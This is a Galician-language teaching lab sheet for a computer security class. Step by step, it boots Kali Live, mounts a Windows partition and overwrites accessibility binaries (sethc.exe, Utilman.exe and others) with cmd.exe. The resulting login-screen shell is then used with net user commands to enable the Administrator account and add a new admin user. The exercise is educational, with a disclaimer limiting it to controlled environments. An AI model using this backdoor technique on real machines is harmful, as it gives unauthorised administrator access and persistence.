Práctica Seguridade Informática
Allow Boot dispositivo extraíble: CD/DVD/USB

ESCENARIO

Máquina virtual ou física:
RAM ≤ 2048MB CPU ≤ 2 PAE/NX habilitado
Sistema operativo instalado: Microsoft Windows 64bits
ISO/CD/DVD/USB: Kali Live amd64
BIOS: Permite arranque dispositivo extraíble: CD/DVD, USB

Táboa. Combinación de teclas

Executable C:\Windows\System32	Atallos de teclado	Descrición
sethc.exe	Premer 5 veces a tecla Shift (Maiúsculas): <⇧>	Teclas especiais (Accesibilidade)
Magnify.exe	Premer a mesmo tempo a tecla Windows e a tecla símbolo suma: <Windows>+<+>	Lupa
Narrator.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<Enter>	Axuda narrador lendo en voz alta
osk.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<o>	Teclado en pantalla
Utilman.exe	Premer ao mesmo tempo as teclas: <Windows>+<u>	Utilidades

LIMITACIÓN DE RESPONSABILIDADE O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

NOTAS:

- **Instalación por defecto**: A instalación do sistema operativo Microsoft Windows realizouse por defecto, é dicir, seguindo os pasos do instalador,
- **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.
- **URL - Métodos abreviados de teclado de Windows**

Práctica

Arrancar coa Kali Live amd64

1. Na contorna gráfica abrir un terminal e executar:

    $ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
    $ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)
        # fdisk -l /dev/sda #Lista a táboa de particións do disco /dev/sda e logo remata.
        # mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali.
        # mount -t auto /dev/sda2 /mnt #Montar a partición 2 do disco duro /dev/sda no directorio da live /mnt. Coa opción -t auto solicitamos ao comando mount a autodetección do sistema de ficheiros de montaxe. Poderiamos tamén empregar o comando **ntfs-3g /dev/sda2 /mnt** , o cal xa traballa directamente co sistema de ficheiros NTFS..
        # mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali. Neste caso verificamos que a última liña refírese ao punto de montaxe /mnt onde podemos traballar coa partición /dev/sda2.
        # cd /mnt/Windows/System32 #Acceder ao directorio do sistemas operativo Microsoft Windows C:\Windows\System32, o cal está montado en /mnt/Windows/System32
        # for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do mv $i old.$i; done #Mover os executables **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** a **old.sethc.exe**, **old.Magnify.exe**, **old.Narrator**, **old.osk.exe** e **old.Utilman.exe** respectivamente
        # for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do cp -pv cmd.exe $i; done #Copiar o executable **cmd.exe** en **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** en modo verbose (detallado) e preservando permisos e datas.
        # cd #Acceder ao directorio de traballo do usuario, neste caso, acceder a /root
        # umount /mnt #Desmontar (deixar de facer uso) a partición primaria /dev/sda2 que estaba montada en /mnt
        # init 0 #Apagar a máquina enviando o sinal de apagado mediante o runlevel 0

Arrancar a máquina Windows sen o dispositivo extraíble conectado

2. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

3. Na consola que aparece executar e indicar que fan os seguintes comandos:

```
whoami
net help user
net user
net user administrador
net user administrador /active:yes
net user administrador abc123.
net user testing abc123. /add /logonpasswordchg:no
net user
net user testing
net help localgroup
net localgroup
net localgroup usuarios
net localgroup administradores
net localgroup administradores testing /add
net localgroup administradores
net user testing
net localgroup usuarios
net localgroup usuarios testing /delete
net localgroup usuarios
net user testing
```

4. Acceder co usuario ***testing*** e probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.
5. Acceder co usuario ***administrador*** e probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

Ricardo Feijoo Costa